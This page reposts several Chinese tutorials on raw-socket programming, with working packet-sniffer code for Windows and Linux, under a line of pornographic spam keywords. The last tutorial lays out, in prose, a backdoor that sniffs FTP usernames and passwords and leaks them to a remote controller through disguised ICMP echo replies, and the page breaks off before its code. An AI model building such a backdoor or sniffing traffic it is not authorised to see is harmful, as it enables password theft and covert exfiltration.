日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Raw Socket(原始套接字)

發布時間:2024/8/1 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Raw Socket(原始套接字) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Raw Socket(原始套接字)實現Sniffer(嗅探)



一. 摘要?
Raw Socket: 原始套接字?
可以用它來發送和接收 IP 層以上的原始數據包, 如 ICMP, TCP, UDP...

int sockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

這樣我們就創建了一個 Raw Socket

Sniffer: 嗅探器?
關于嗅探器的原理我想大多數人可能都知道?
1. 把網卡置于混雜模式;?
2. 捕獲數據包;?
3. 分析數據包.

但具體的實現知道的人恐怕就不是那么多了. 好, 現在讓我們用 Raw Socket 的做一個自已的 Sniffer.

二. 把網卡置于混雜模式?
在正常的情況下,一個網絡接口應該只響應兩種數據幀:?
一種是與自己硬件地址相匹配的數據幀?
一種是發向所有機器的廣播數據幀?
如果要網卡接收所有通過它的數據, 而不管是不是發給它的, 那么必須把網卡置于混雜模式. 也就是說讓它的思維混亂, 不按正常的方式工作. 用 Raw Socket 實現代碼如下:

setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&flag, sizeof(flag); //設置 IP 頭操作選項?
bind(sockRaw, (PSOCKADDR)&addrLocal, sizeof(addrLocal); //把 sockRaw 綁定到本地網卡上
ioctlsocket(sockRaw, SIO_RCVALL, &dwValue);?????? //讓 sockRaw 接受所有的數據

flag 標志是用來設置 IP 頭操作的, 也就是說要親自處理 IP 頭: bool flag = ture;?
addrLocal 為本地地址: SOCKADDR_IN addrLocal;?
dwValue 為輸入輸出參數, 為 1 時執行, 0 時取消: DWORD dwValue = 1;?
沒想到這么簡單吧?

三. 捕獲數據包?
你的 sockRaw 現在已經在工作了, 可以在局域網內其它的電腦上用 Sniffer 檢測工具檢測一下, 看你的網卡是否處于混雜模式(比如 DigitalBrain 的 ARPKiller).?
不能讓他白白的浪費資源啊, 抓包!

recv(sockRaw, RecvBuf, BUFFER_SIZE, 0); //接受任意數據包

#define BUFFER_SIZE 65535?
char RecvBuf[BUFFER_SIZE];?
越來越發現 Sniffer 原來如此的簡單了, 這么一個函數就已經完成抓取數據包的任務了.

四. 分析數據包?
這回抓來的包和平常用 Socket 接受的包可就不是一回事兒了, 里面包含 IP, TCP 等原始信息. 要分析它首先得知道這些結構.?
數據包的總體結構:?
----------------------------------------------?
| ip header | tcp header(or x header) | data |?
----------------------------------------------

IP header structure:?
4??? 8??? 16??????????????????? 32 bit?
|--------|--------|----------------|--------------------------------|?
| Ver? | IHL? |Type of service |???? Total length???? |?
|--------|--------|----------------|--------------------------------|?
| Identification |?? Flags?? |???? Fragment offset??? |?
|--------|--------|----------------|--------------------------------|?
| Time to live? |? Protocol? |???? Header checksum??? |?
|--------|--------|----------------|--------------------------------|?
|???????????? Source address????????????? |?
|--------|--------|----------------|--------------------------------|?
|??????????? Destination address???????????? |?
|--------|--------|----------------|--------------------------------|?
|??????????? Option + Padding????????????? |?
|--------|--------|----------------|--------------------------------|?
|??????????????? Data??????????????? |?
|--------|--------|----------------|--------------------------------|

TCP header structure:?
16??????????????? 32 bit?
|--------------------------------|--------------------------------|?
|???? Source port????? |??? Destination port??? |?
|--------------------------------|--------------------------------|?
|???????????? Sequence number???????????? |?
|--------------------------------|--------------------------------|?
|?????????? Acknowledgement number?????????? |?
|--------------------------------|--------------------------------|?
| Offset | Resrvd |U|A|P|R|S|F|????? Window?????? |?
|--------------------------------|--------------------------------|?
|????? Checksum?????? |??? Urgent pointer???? |?
|--------------------------------|--------------------------------|?
|???????????? Option + Padding??????????? |?
|--------------------------------|--------------------------------|?
|?????????????? Data??????????????? |?
|--------------------------------|--------------------------------|

五. 實現 Sniffer?
OK!?
現在都清楚了, 還等什么.?
下面是我用 BCB6 寫的一個 Simple Sniffer 的代碼, 僅供參考.?
(需要在工程文件里加入WS2_32.LIB這個文件)?
//*************************************************************************//?
//* CPP File: WMain.cpp?
//* Simple Sniffer by shadowstar?
//*?http://shadowstar.126.com/?
//*************************************************************************//?
#include <vcl.h>?
#pragma hdrstop

#include <winsock2.h>?
#include <ws2tcpip.h>?
#include <mstcpip.h>?
#include <netmon.h>?
#include "WMain.h"?
//---------------------------------------------------------------------------?
#pragma package(smart_init)?
#pragma resource "*.dfm"?
TMainForm *MainForm;?
//---------------------------------------------------------------------------?
__fastcall TMainForm::TMainForm(TComponent* Owner)?
: TForm(Owner)?
{?
WSADATA WSAData;?
BOOL? flag? = true;?
int?? nTimeout = 1000;?
char? LocalName[16];?
struct hostent *pHost;

//檢查 Winsock 版本號?
if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0)?
throw Exception("WSAStartup error!");

//初始化 Raw Socket?
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == INVALID_SOCKET)?
throw Exception("socket setup error!");

//設置IP頭操作選項?
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&flag, sizeof(flag)) == SOCKET_ERROR)?
throw Exception("setsockopt IP_HDRINCL error!");

//獲取本機名?
if (gethostname((char*)LocalName, sizeof(LocalName)-1) == SOCKET_ERROR)?
throw Exception("gethostname error!");

//獲取本地 IP 地址?
if ((pHost = gethostbyname((char*)LocalName)) == NULL)?
throw Exception("gethostbyname error!");

addr_in.sin_addr? = *(in_addr *)pHost->h_addr_list[0]; //IP?
addr_in.sin_family = AF_INET;?
addr_in.sin_port? = htons(57274);

//把 sock 綁定到本地地址上?
if (bind(sock, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR)?
throw Exception("bind error!");

iSortDirection = 1;?
}?
//---------------------------------------------------------------------------?
__fastcall TMainForm::~TMainForm()?
{?
WSACleanup();?
}?
//---------------------------------------------------------------------------

void __fastcall TMainForm::btnCtrlClick(TObject *Sender)?
{?
TListItem *Item;?
DWORD dwValue;?
int nIndex = 0;

if (btnCtrl->Caption == "&Start")?
{?
dwValue = 1;?
//設置 SOCK_RAW 為SIO_RCVALL,以便接收所有的IP包?
if (ioctlsocket(sock, SIO_RCVALL, &dwValue) != 0)?
throw Exception("ioctlsocket SIO_RCVALL error!");?
bStop = false;?
btnCtrl->Caption = "&Stop";?
lsvPacket->Items->Clear();?
}?
else?
{?
dwValue = 0;?
bStop = true;?
btnCtrl->Caption = "&Start";?
//設置SOCK_RAW為SIO_RCVALL,停止接收?
if (ioctlsocket(sock, SIO_RCVALL, &dwValue) != 0)?
throw Exception("WSAIoctl SIO_RCVALL error!");?
}

while (!bStop)?
{?
if (recv(sock, RecvBuf, BUFFER_SIZE, 0) > 0)?
{?
nIndex++;?

ip = *(IP*)RecvBuf;?
tcp = *(TCP*)(RecvBuf + (ip.HdrLen & IP_HDRLEN_MASK));

Item = lsvPacket->Items->Add();?
Item->Caption = nIndex;?
Item->SubItems->Add(GetProtocolTxt(ip.Protocol));?
Item->SubItems->Add(inet_ntoa(*(in_addr*)&ip.SrcAddr));?
Item->SubItems->Add(inet_ntoa(*(in_addr*)&ip.DstAddr));?
Item->SubItems->Add(tcp.SrcPort);?
Item->SubItems->Add(tcp.DstPort);?
Item->SubItems->Add(ntohs(ip.TotalLen));?
}?
Application->ProcessMessages();?
}???
}?
//---------------------------------------------------------------------------

AnsiString __fastcall TMainForm::GetProtocolTxt(int Protocol)?
{?
switch (Protocol)?
{?
case IPPROTO_ICMP :????? //1??????? /* control message protocol */?
return PROTOCOL_STRING_ICMP_TXT;?
case IPPROTO_TCP :????? //6??????? /* tcp */?
return PROTOCOL_STRING_TCP_TXT;?
case IPPROTO_UDP :????? //17?????? /* user datagram protocol */?
return PROTOCOL_STRING_UDP_TXT;?
default :?
return PROTOCOL_STRING_UNKNOWN_TXT;?
}?
}?
//---------------------------------------------------------------------------


//*************************************************************************//?
//* Header File: WMain.h for WMain.cpp class TMainForm?
//*************************************************************************//?
//---------------------------------------------------------------------------

#ifndef WMainH?
#define WMainH?
//---------------------------------------------------------------------------?
#define BUFFER_SIZE 65535

#include <Classes.hpp>?
#include <Controls.hpp>?
#include <StdCtrls.hpp>?
#include <Forms.hpp>?
#include <ComCtrls.hpp>?
#include <ExtCtrls.hpp>?
#include <winsock2.h>?
#include "netmon.h"


//---------------------------------------------------------------------------?
class TMainForm : public TForm?
{?
__published: // IDE-managed Components?
TPanel *Panel1;?
TButton *btnCtrl;?
TListView *lsvPacket;?
TLabel *Label1;?
void __fastcall btnCtrlClick(TObject *Sender);?
void __fastcall lsvPacketColumnClick(TObject *Sender,?
TListColumn *Column);?
void __fastcall lsvPacketCompare(TObject *Sender, TListItem *Item1,?
TListItem *Item2, int Data, int &Compare);?
void __fastcall Label1Click(TObject *Sender);?
private: // User declarations?
AnsiString __fastcall GetProtocolTxt(int Protocol);?
public: // User declarations?
SOCKET?? sock;?
SOCKADDR_IN addr_in;?
IP???? ip;?
TCP???? tcp;?
PSUHDR?? psdHeader;?
char??? RecvBuf[BUFFER_SIZE];?
bool??? bStop;

int iSortDirection;?
int iColumnToSort;?

__fastcall TMainForm(TComponent* Owner);?
__fastcall ~TMainForm();?
};?
//---------------------------------------------------------------------------?
extern PACKAGE TMainForm *MainForm;?
//---------------------------------------------------------------------------?
#endif

偷了個懶, IP, TCP 頭及一些宏定義用了 netmon.h 的頭, 這個文件在 BCB6 的 include 目錄下可以找得到, 其中與本程序相關內容如下:

//*************************************************************************//?
//* Header File: netmon.h?
//*************************************************************************//?
//?
// IP Packet Structure?
//?
typedef struct _IP?
{?
union?
{?
BYTE? Version;?
BYTE? HdrLen;?
};?
BYTE ServiceType;?
WORD TotalLen;?
WORD ID;?
union?
{?
WORD? Flags;?
WORD? FragOff;?
};?
BYTE TimeToLive;?
BYTE Protocol;?
WORD HdrChksum;?
DWORD? SrcAddr;?
DWORD? DstAddr;?
BYTE Options[0];?
} IP;

typedef IP * LPIP;?
typedef IP UNALIGNED * ULPIP;

//?
// TCP Packet Structure?
//?
typedef struct _TCP?
{?
WORD SrcPort;?
WORD DstPort;?
DWORD SeqNum;?
DWORD AckNum;?
BYTE DataOff;?
BYTE Flags;?
WORD Window;?
WORD Chksum;?
WORD UrgPtr;?
} TCP;

typedef TCP *LPTCP;?
typedef TCP UNALIGNED * ULPTCP;

// upper protocols?
#define PROTOCOL_STRING_ICMP_TXT??? "ICMP"?
#define PROTOCOL_STRING_TCP_TXT??? "TCP"?
#define PROTOCOL_STRING_UDP_TXT??? "UDP"?
#define PROTOCOL_STRING_SPX_TXT??? "SPX"?
#define PROTOCOL_STRING_NCP_TXT??? "NCP"

#define PROTOCOL_STRING_UNKNOW_TXT?? "UNKNOW"


這個文件也有人聲稱沒有.?
//*************************************************************************//?
//* Header File: mstcpip.h?
//*************************************************************************//?
// Copyright (c) Microsoft Corporation. All rights reserved.?
#if _MSC_VER > 1000?
#pragma once?
#endif

/* Argument structure for SIO_KEEPALIVE_VALS */

struct tcp_keepalive {?
u_long onoff;?
u_long keepalivetime;?
u_long keepaliveinterval;?
};

// New WSAIoctl Options

#define SIO_RCVALL????? _WSAIOW(IOC_VENDOR,1)?
#define SIO_RCVALL_MCAST?? _WSAIOW(IOC_VENDOR,2)?
#define SIO_RCVALL_IGMPMCAST _WSAIOW(IOC_VENDOR,3)?
#define SIO_KEEPALIVE_VALS? _WSAIOW(IOC_VENDOR,4)?
#define SIO_ABSORB_RTRALERT? _WSAIOW(IOC_VENDOR,5)?
#define SIO_UCAST_IF???? _WSAIOW(IOC_VENDOR,6)?
#define SIO_LIMIT_BROADCASTS _WSAIOW(IOC_VENDOR,7)?
#define SIO_INDEX_BIND??? _WSAIOW(IOC_VENDOR,8)?
#define SIO_INDEX_MCASTIF?? _WSAIOW(IOC_VENDOR,9)?
#define SIO_INDEX_ADD_MCAST? _WSAIOW(IOC_VENDOR,10)?
#define SIO_INDEX_DEL_MCAST? _WSAIOW(IOC_VENDOR,11)

// Values for use with SIO_RCVALL* options?
#define RCVALL_OFF?????? 0?
#define RCVALL_ON?????? 1?
#define RCVALL_SOCKETLEVELONLY 2

現在我們自已的 Sniffer 就做好了, Run, Start......哇, 這么多數據包, 都是從這一臺機器上發出的, 它在干什么? 原來 Adminstrator 密碼為空, 中了尼姆達病毒!

六. 小結?
優點: 實現簡單, 不需要做驅動程序就可實現抓包.?
缺點: 數據包頭不含幀信息, 不能接收到與 IP 同層的其它數據包, 如 ARP, RARP...?
這里提供的程序僅僅是一個 Sniffer 的例子, 沒有對數據包進行進一步的分析. 寫此文的目的在于熟悉Raw Socket 編程方法, 了解 TCP/IP 協議結構原理以及各協議之間的關系.

=====================================


?一、raw socket介紹

??? 1、raw socket中文叫原始套接字,它和其他的套接字的不同之處在于它工作在網絡層或數據鏈路層,而其他類型的套接字工作在傳輸層,只能進行傳輸層數據操作。

??? 我們常使用raw socket進行數據監聽,在網卡處在混雜模式下時,可以接收所有經過網卡的數據,包括廣播的數據包和發向自己的數據包,當然在共享式網絡中(典型的hub組建的局域網),所有的數據包都是廣播的,所以都能接收到,在交換式網絡中只能接收到發向自己的包和以廣播方式發的包。我們還可以設置是否手動處理要發送的數據的IP包頭(通過設置socket選項),當然一般是需要設置成手動處理的。

??? 2、內核接收網絡數據后在raw socket上處理原則:

????a、因為工作在網絡層上的raw socket不使用udp和tcp協議,所以系統收到tcp和udp協議的數據包不會發送到工作在網絡層上的raw socket。而如果raw socket工作在鏈路層上,那包系統會將所以收到的數據包都復制一份發送給raw socket。

??? b、因為工作在網絡層上的raw socket經常使用ICMP,EGP等協議,所以如果系統收到ICMP和EGP等使用IP數據包承載數據但又在傳輸層之下的協議類型的數據包,系統會將這些包復制一份發送給對應協議類型的raw socket進行處理(也就是說如果raw socket沒有使用bind和connect函數,那么系統會將所以符合raw socket協議的數據包送給raw socket處理)。

??? c、如果工作在網絡層上的raw socket使用bind綁定了一個地址,那么系統只將收到目的地址為bind所綁定地址的ICMP和EGP等傳輸層之下的協議的數據包發送給raw socket處理

??? d、如果工作在網絡層上的raw socket使用connect函數遠程連接到其他機器地址的話,那么系統只將收到的源地址為connect地址的且協議為ICMP等傳輸層之下的協議的數據包發送給raw socket處理。

??? e、對于不能識別協議類型的數據包,系統會進行必要的較驗,然后檢查有沒有匹配協議類型的raw socket,如果有的話,就復制一份給raw socket,如果沒有就簡單的丟棄。并返回一個主機不可達的ICMP給源主機。

??? 3、選項

??? 使用setsockopt設置socket的選項,其中IP_HDRINCL用來設置是否手動處理ip包頭,如果設置為真,那么需要自己創建IP包頭,然后發送,如果沒有設置,那么系統會自動為raw socket設置IP包頭附加在我們自己的數據之前。當然使用raw socket接收的數據包總是包含有IP包頭。因為有這樣的可以使用虛假的源地址等操作,所以需要root權限。

??? 二、raw socket的創建和使用

??? 1、像其他類型的socket一樣,raw socket的創建非常簡單,直接使用socket函數進行創建

??? int socketfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);/*在網絡層使用的原始套接字*/

????int socketfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP));/*在鏈路層使用*/

??? 注意:在指定協議的時候,不能向其他套接字一樣簡單的指定為0(IPPROTO_IP),因為其他套字字會根據套接字的類型自動選擇其協議,比如stream類型的協議會選擇為tcp的協議,而原始套接字不行。這些協議在unix里面定義在<netinet/in.h>文件里,當然要使用這些協議還需要內核對該協議的支持。

?

1.原始套接字介紹
??1.1 原始套接字工作原理與規則
??1.2 簡單應用
2 FTP密碼竊取器實現(簡單的rootkit)
??2.1 設計思路
??2.2 實現
??2.3 不足與改進之處
開始,嗯,喝口茶水先...........
1.原始套接字(raw socket)

??1.1 原始套接字工作原理與規則
? ?? ?? ?原始套接字是一個特殊的套接字類型,它的創建方式跟TCP/UDP創建方法幾乎是
一摸一樣,例如,通過

CODE: int sockfd;
? ?? ? sockfd = socktet(AF_INET, SOCK_RAW, IPPROTO_ICMP);


這兩句程序你就可以創建一個原始套接字.然而這種類型套接字的功能卻與TCP或者UDP類型套接字的功能有很大的不同:TCP/UDP類型的套接字只能夠訪問傳輸層以及傳輸層以上的數據,因為當IP層把數據傳遞給傳輸層時,下層的數據包頭已經被丟掉了.而原始套接字卻可以訪問傳輸層以下的數據,,所以使用raw套接字你可以實現上至應用層的數據操作,也可以實現下至鏈路層的數據操作.
? ?? ?? ?比如:通過

CODE: sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))


方式創建的raw socket就能直接讀取鏈路層的數據.

1)使用原始套接字時應該注意的問題(參考<<unix網絡編程>>以及網上的優秀文檔)

(1):對于UDP/TCP產生的IP數據包,內核不將它傳遞給任何原始套接字,而只是將這些數據交給對應的UDP/TCP數據處理句柄(所以,如果你想要通過原始套接字來訪問TCP/UDP或者其它類型的數據,調用socket函數創建原始套接字第三個參數應該指定為htons(ETH_P_IP),也就是通過直接訪問數據鏈路層來實現.(我們后面的密碼竊取器就是基于這種類型的).

(2):對于ICMP和EGP等使用IP數據包承載數據但又在傳輸層之下的協議類型的IP數據包,內核不管是否已經有注冊了的句柄來處理這些數據,都會將這些IP數據包復制一份傳遞給協議類型匹配的原始套接字.

(3):對于不能識別協議類型的數據包,內核進行必要的校驗,然后會查看是否有類型匹配的原始套接字負責處理這些數據,如果有的話,就會將這些IP數據包復制一份傳遞給匹配的原始套接字,否則,內核將會丟棄這個IP數據包,并返回一個ICMP主機不可達的消息給源主機.

(4): 如果原始套接字bind綁定了一個地址,核心只將目的地址為本機IP地址的數包傳遞給原始套接字,如果某個原始套接字沒有bind地址,核心就會把收到的所有IP數據包發給這個原始套接字.

(5): 如果原始套接字調用了connect函數,則核心只將源地址為connect連接的IP地址的IP數據包傳遞給這個原始套接字.

(6):如果原始套接字沒有調用bind和connect函數,則核心會將所有協議匹配的IP數據包傳遞給這個原始套接字.

2).編程選項
? ???原始套接字是直接使用IP協議的非面向連接的套接字,在這個套接字上可以調用bind和connect函數進行地址綁定.說明如下:

(1)bind函數:調用bind函數后,發送數據包的源IP地址將是bind函數指定的地址。如是不調用bind,則內核將以發送接口的主IP地址填充IP頭. 如果使用setsockopt設置了IP_HDRINCL(header including)選項,就必須手工填充每個要發送的數據包的源IP地址,否則,內核將自動創建IP首部.

(2)connetc函數:調用connect函數后,就可以使用write和send函數來發送數據包,而且內核將會用這個綁定的地址填充IP數據包的目的IP地址,否則的話,則應使用sendto或sendmsg函數來發送數據包,并且要在函數參數中指定對方的IP地址。

? ? 綜合以上種種功能和特點,我們可以使用原始套接字來實現很多功能,比如最基本的數據包分析,主機嗅探等.其實也可以使用原始套接字作一個自定義的傳輸層協議.

1.2一個簡單的應用

? ? 下面的代碼創建一個直接讀取鏈路層數據包的原始套接字,并從中分析出源MAC地址和目的MAC地址,源IP和目的IP,以及對應的傳輸層協議,如果是TCP/UDP協議的話,打印其目的和源端口.為了方便閱讀,程序中避免了使用任何與協議有關的數據結構,如
struct ether_header ,struct iphdr??等,當然, 要完全理解代碼,你需要關于指針以及位運算的知識

[Copy to clipboard]?[?-?] CODE: /***************SimpelSniffer.c*************/
//auther:duanjigang@2006s
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/if_ether.h>
#include <linux/in.h>
#define BUFFER_MAX 2048

int main(int argc, char *argv[])
{
? ? ? ??
? ? ? ? int sock, n_read, proto;? ? ? ??
? ? ? ? char buffer[BUFFER_MAX];
? ? ? ? char??*ethhead, *iphead, *tcphead,?
? ?? ?? ?? ?? ?? ?? ?? ? *udphead, *icmphead, *p;
? ? ? ??
if((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)
? ? {
? ? ? ? fprintf(stdout, "create socket error/n");
? ? ? ? exit(0);
? ? }
? ? ? ??
while(1)?
{
? ???n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
? ? ? ? /*
? ? ? ? 14? ?6(dest)+6(source)+2(type or length)
? ? ? ? +
? ? ? ? 20? ?ip header?
? ? ? ? +
? ? ? ? 8? ?icmp,tcp or udp header
? ? ? ? = 42
? ? ? ? */
if(n_read < 42)?
? ?{
? ?? ?fprintf(stdout, "Incomplete header, packet corrupt/n");
? ?? ?continue;
? ?}
? ? ? ? ? ? ? ??
? ? ? ? ethhead = buffer;
? ? ? ? p = ethhead;
? ? ? ? int n = 0XFF;
? ?? ?? ?? ?? ? printf("MAC: %.2X:%02X:%02X:%02X:%02X:%02X==>"
? ? ? ?? ?? ?? ?? ?? ?? ???"%.2X:%.2X:%.2X:%.2X:%.2X:%.2X/n",
? ? ? ? p[6]&n, p[7]&n, p[8]&n, p[9]&n, p[10]&n, p[11]&n,
? ? ? ? p[0]&n, p[1]&n, p[2]&n,p[3]&n, p[4]&n, p[5]&n);

? ?? ?? ?? ?? ?? ? iphead = ethhead + 14;??
? ?? ?? ?? ?? ?? ? p = iphead + 12;
? ?? ???
? ?? ?? ???printf("IP: %d.%d.%d.%d => %d.%d.%d.%d/n",
? ?? ?? ???p[0]&0XFF, p[1]&0XFF, p[2]&0XFF, p[3]&0XFF,
? ?? ?? ???p[4]&0XFF, p[5]&0XFF, p[6]&0XFF, p[7]&0XFF);
? ?? ?? ?? ?proto = (iphead + 9)[0];
? ?? ?? ?? ?p = iphead + 20;
? ?? ?? ?? ? printf("Protocol: ");
? ?? ?? ?? ?switch(proto)
? ?? ?? ?? ???{
? ?? ???? ? ? ? case IPPROTO_ICMP: printf("ICMP/n");break;
? ?? ???? ? ? ? case IPPROTO_IGMP: printf("IGMP/n");break;
? ?? ???? ? ? ? case IPPROTO_IPIP: printf("IPIP/n");break;
? ?? ???? ? ? ? case IPPROTO_TCP :
? ?? ???? ? ? ? case IPPROTO_UDP :?
? ? printf("%s,", proto == IPPROTO_TCP ? "TCP": "UDP");?
? ? printf("source port: %u,",(p[0]<<8)&0XFF00 |??p[1]&0XFF);
? ? printf("dest port: %u/n", (p[2]<<8)&0XFF00 | p[3]&0XFF);
? ?? ?? ?break;
? ? case IPPROTO_RAW : printf("RAW/n");break;
? ? default:printf("Unkown, please query in include/linux/in.h/n");
? ? ? ? }
? ?}
}


2 FTP密碼嗅探器實現
? ???注意:本部分的實現,采用了系統定義的一些數據結構,如鏈路層頭結構體,網絡層頭結構體,以及TCP.UDP,ICMP頭等結構體,正好對上一個例子是一個補充,同時,在程序中操作起來也更方便一些,當然,你必須知道每個數據結構的意思,與數據包頭中的各項是如何對應的,還有,在下面的程序中,我們使用單鏈表存儲收集到的用戶名與密碼,所以,你應該必須熟悉單鏈表的操作,如插入節點和刪除節點等,最后,你最好能夠很熟練的使用FTP命令,這樣才能很好的理解本文的代碼和要點.(對了,你還得明白校驗和是做什么用的,以及它的計算方法)為了方便理解,我在文中添加了一個簡單的數據包分層圖,如下
??=============================================
? ? |? ?? ?? ?? ?? ? |? ?? ?? ?? ?? ???|? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?|
? ? | 鏈路層頭? ? | IP報文頭? ?? ?| 傳輸層報文頭? ?? ?? ?? ? | 應用層數據? ?
? ? |? ?? ?? ?? ?? ? |? ?? ?? ?? ?? ???|? ?? ?? ?? ?? ?? ?? ?? ?? ? |
??-==============================================

2.1設計思路
? ???在網上看到有好多sniffer的設計思路,有些確實講的很不錯,但是卻很少發現有完整的作出來一個實例的(也許是偶孤陋寡聞沒找見),正好想起來<<Hacking the Linux Kernel Network Stack>>中有這么一個實例,那篇主要是講netfilter的,在模塊里面實現數據的過濾,竊取用戶名和密碼,于是我便把那個故事搬過來,用原始套接字去實現,而且遠程竊取密碼的方法同樣使用的是令人洋洋得意的思路--構造一個偽ping包來ping已經被植入后門程序的主機,后門程序在收到特殊的ping包之后,會講密碼嵌入到特殊的ping返回消息中,從而完成密碼的運輸.不同之處在于返回密碼時采用的方法,本文中創建了一個ICMP類型的raw socket作為ICMP echo request 消息的echo reply消息返回,雖然較之前文的方法有些遜色,但是卻相當提供了一個完整的ping程序,你可以稍加修改就做出自己的ping來.而且在對協議類型進行判斷的Switch分支中,你可以繼續添加自己的處理方法,比如SNMP的162UDP端口或者其他協議的分析.
? ?程序的運行過程:
? ?首先我們會創建一個接收鏈路層的原始套接字,之所以創建鏈路層的原始套接字,原因有:
1:出于教學目的,我們盡力去分析數據包中盡可能多的信息,所以從鏈路層抓起,逐層提取信息.
2: FTP是基于TCP協議的應用層協議,所以我們要能從傳輸層區分出TCP包和UDP包,但是,前面的規則已經講到了,對于UDP或者TCP產生的IP層數據包,內核將不會把它傳遞給任何原始套接字,而是交給對應的TCP/UDP處理函數,要能夠讓原始套接字接收UDP和TCP產生的IP數據包,或者說接收傳輸層的UDP和TCP類型的數據,所創建的原始套接字必須為ETH_P_IP類型的,在程序里面體現出來就是將第三個參數指定為找個值.
? ?? ? 在套接字創建成功之后,我們的程序就在系統中注冊了一塊數據結構,并且內核中對于所有的原始套接字都有一個維護列表的,在收到網絡上的數據時,內核會跟據條件將收到的數據復制一份交給注冊了這個套接字的程序去處理.
? ?? ? 所以,如果系統緩存中如果已經有了數據,我們調用的recvfrom函數將會返回,可能讀取失敗,也可能滿載而歸,攜帶了足夠多的數據供我們的程序進行處理.

? ?為了防止收到的數據有差錯,我們進行必要的檢驗,作為數據包來說,鏈路層占了14個字節的空間,6個自己源地址,6個字節是目的地址,2個字節作為類型碼,接下來是IP層的頭信息,由于找個層的頭信息包含的項比較多,所以不進行一一的分析,IP層至少戰局20個字節的空間,下來就是傳輸層的頭信息了,在不去分UDP/TCP或者ICMP的情況下,我們可以看到,傳輸層的頭信息至少應該包括8個字節,所以,我們要檢驗讀到的數據包大小是否超過了最基本的數據包頭的大小,如果沒有的話,說明數據包有誤,我們將其丟棄,重新接收.
? ? 下來的處理就采用跟上面的例子一樣的模式,先去除鏈路層的14個字節,接著找出網絡層的頭,從IP頭中提取協議類型字段,如果是TCP協議,則進行分析,從中查找可能的用戶名和密碼對,由于FTP使用明文傳送,而且傳送用戶名時的格式為USER <用戶名>,傳送密碼時的格式為PASS <密碼>,所以我們可以從中分析這兩個關鍵字符串,然后從中提取用戶姓名和登陸密碼,一旦提取成功就將這一對信息加入到鏈表中存儲起來,等待遠程主機來索取;如果協議類型是ICMP的話,我們就要注意了,因為我們的遠程主機發送的取密碼的數據包就是以ICMP包的格式偽裝起來的,它具有一般的ICMP包的格式,并且在ICMP包的type字段填入了ICMP_ECHO這個值,表示ping的回顯請求,所以操作系統會認為是一個一般的ping消息,將它交給協議棧去處理,然而此時我們的后門程序已經在這個主機上運行了,如果它能夠發現這個偽裝的ICMP消息的話,就可以通過構造一個ICMP回顯應答的消息將它采集到的關于這臺主機的信息發送出去,那樣就實現了遠程信息獲取的功能.
? ?? ?注意到ICMP消息中有兩個字段,一個是type,一個是code,我們已經知道了,如果type為ICMP_ECHO,則標識這是一個回顯請求,如果type為ICMP_ECHOREPLY的話,則說明是一個回顯應答,但是code有什么作用呢?默認的ping程序中code字段都是0,但是在實際中我發現,如果你將code字段設置為其他非0值,而只要type字段設置為ICMP_ECHO的話,也會被操作系統認為是一個ping回顯請求,它馬上會給你發送一個應答.所以,如果防火墻沒有對code字段做檢測的話,我們就可以利用code來做文章:遠程主機自己構造一個ICMP_ECHO的包,在code字段填入事先約定好的特殊值,以便于后門程序能夠認出它,并且不會被操作系統和防火墻當作不速之客拒之門外,當后門程序從千千萬萬的數據包中檢測出一個這樣的特殊包時,它知道遠程的主人下命令了,要求它返回可能竊取到的用戶名和密碼,后門程序就會自己構造一個ICMP_ECHOREPLY的數據包,如果已經存儲了有效的數據的話,它取出一對數據填入這個應答包中(是一定要注意,這個回顯應答的包不能太大,以免被警覺的管理員所采取的防火墻規則阻擋住,這樣我們的后門程序就會功虧于潰),然后再加上一個特殊的標志位,發送出去.而這個特殊的標志位也同樣是ICMP中的code字段,這樣做是為了遠程主機能夠從千千萬萬的回顯應答中找到自己心儀的那一個應答數據包,從而得到竊取的信息.如果后門程序沒有采集到密碼對,則會發送一個事先約定好的無效用戶名和密碼給遠程主機,告訴它,暫時還沒有有效的數據,請不要再索取了.
? ?? ? 另外,在程序中我們的原則是,每次回顯應答帶走一對用戶名和密碼,所以,如果某個用戶正在遠端使用虛假的ping程序呼喚密碼的話,他可以一直執行這個發送偽裝Ping包的程序,每次都能獲取到一對用戶名和密碼,直到出現無效值,說明數據已經傳送完畢.
這就是整個程序的大體的運行過程.

? ???下面我再就實際實現與測試時出現的問題進行一些說明,這些問題也是在實現這個嗅探器的過程中困擾我最久的,好多問題都是想了幾天后類忽然發現原因的,呵呵,我已經飽受這些煎熬,所以如果你注意一下下面討論的問題,在運行程序時就不會遇到這么多麻煩的.

? ?? ?我們的程序是一個單線程的監聽程序,每到一個TCP包,就從中查找USER或者PASS字段,如果找到的話,就取出它后面的值,認為是用戶名或者密碼,然后存儲起來.但是會有一下情況發生.
(1)
